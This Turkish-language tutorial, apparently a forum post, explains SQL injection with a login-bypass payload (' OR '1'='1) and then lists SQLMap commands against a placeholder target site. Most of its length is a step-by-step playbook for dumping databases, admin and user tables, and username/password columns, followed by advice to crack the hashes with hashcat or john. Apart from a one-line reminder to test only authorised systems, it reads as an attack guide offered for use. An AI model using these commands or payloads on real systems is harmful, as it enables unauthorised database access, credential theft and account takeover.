
TEMEL SQL VE SQLMAP KULLANIMI
GİRİŞ
SQL (Structured Query Language), veritabanlarıyla etkileşime geçmek için kullanılan temel bir dildir. Ancak geliştiricilerin yaptığı bazı güvenlik hataları, SQL enjeksiyonu (SQLi) gibi ciddi güvenlik açıklarına neden olabilir.
Bu yazımda temel SQL açıklarından, SQLMap temel komutlardan bahsedeceğim.
SQL AÇIĞI (SQL INJECTİON) NEDİR?
SQL Injection, bir uygulamanın kullanıcıdan aldığı girdileri yeterince filtrelemeden doğrudan SQL sorgularında kullanmasıyla ortaya çıkan bir güvenlik açığıdır. En sık rastlanan yerler:
- Arama kutuları
- Giriş (login) formları
- URL parametreleri (örnek: site.com?id=5)
Örnek bir zayıf SQL sorgusu:
Kod:
SELECT * FROM users WHERE username = '$user' AND password = '$pass';
Bu örnekte $user ve $pass değişkenleri doğrudan kullanıcıdan alınıyor. Eğer biri şunu yazarsa:
Kod:
Username: ' OR '1'='1
Password: ' OR '1'='1
Sorgu şu hale gelir:
Kod:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1';
Bu durumda sistem, herhangi bir kullanıcı adı/şifre doğrulaması yapmadan girişe izin verebilir. Bu da kritik bir güvenlik zafiyetidir.

SQLMAP NEDİR?
SQLMap, açık kaynaklı, otomatik bir SQL enjeksiyonu tespit ve sömürme aracıdır. Web sitelerinde SQL açıklarını bulup, bu açıklar üzerinden veritabanı bilgilerini çekmek için kullanılır.
SQLMAP TEMEL KOMUTLARI
Aşağıda bazı temel SQLMap komutlarını paylaşıyorum. Yalnızca kendi sistemlerinizde veya izin aldığınız test ortamlarında kullanmanız gerektiğini unutmayın.
1. BASİT TARAMA:
Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1"
2. VERİTABANLARINI LİSTELE:
Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1" --dbs
3. BELİRLİ VERİTABANINDAKİ TABLOLARI LİSTELE
Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1" -D veritabani_adi --tables
4. TABLO İÇERİĞİNİ GÖRÜNTÜLE
Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1" -D veritabani_adi -T tablo_adi --dump
5. COOKİE İLE İŞLEM YAPMA (ÖRNEĞİN OTURUM TANIMLAMA)
Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1" --cookie="PHPSESSID=123456"
6. POST İSTEĞİYLE FORM TARAMA
Kod:
sqlmap -u "http://hedefsite.com/giris.php" --data="kadi=admin&sifre=123"
ADMİN BİLGİLERİNİ ÇEKME
SQL açığı olan bir sitede, veritabanı adı ve tablolar keşfedildikten sonra hedef genelde “kullanıcı” ya da “admin” bilgilerini çekmek olur. Bu işlemi SQLMap ile birkaç adımda yapabilirsiniz.
1. VERİTABANINDAKİ TABLOLARI ÖĞREN
Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1" --dbs
ÇIKAN VERİTABANI ADINI ALDIKTAN SONRA
Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1" -D hedef_veritabani --tables
2. ADMİN YA DA USER TABLOSUNU HEDEFLE
Çıkan tablolar arasında genellikle şu isimler olur
Kod:
users
admin
admins
kullanicilar
İlgili tabloyu bulduktan sonra aşağıdaki komutla içeriğini dökebilirsin:
Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1" -D hedef_veritabani -T admin --dump
Ya Da Tablo Adı Users İse
Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1" -D hedef_veritabani -T users --dump
3. BELİRLİ KOLONLARI SEÇEREK ÇEKMEK (örneğin: kullanıcı adı ve şifre):
ilk olarak kolonları listele:
Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1" -D hedef_veritabani -T users --columns
Sonra örneğin username ve password kolonlarını çekmek için
Kod:
sqlmap -u "http://hedefsite.com/sayfa.php?id=1" -D hedef_veritabani -T users -C "username,password" --dump
NOT: Genelde şifreler hash olarak gelir (MD5,
SHA1 vs.). Bunları çözmek için hash cracker siteleri veya araçlar (örneğin: hashcat, john) kullanılabilir.
Son düzenleme: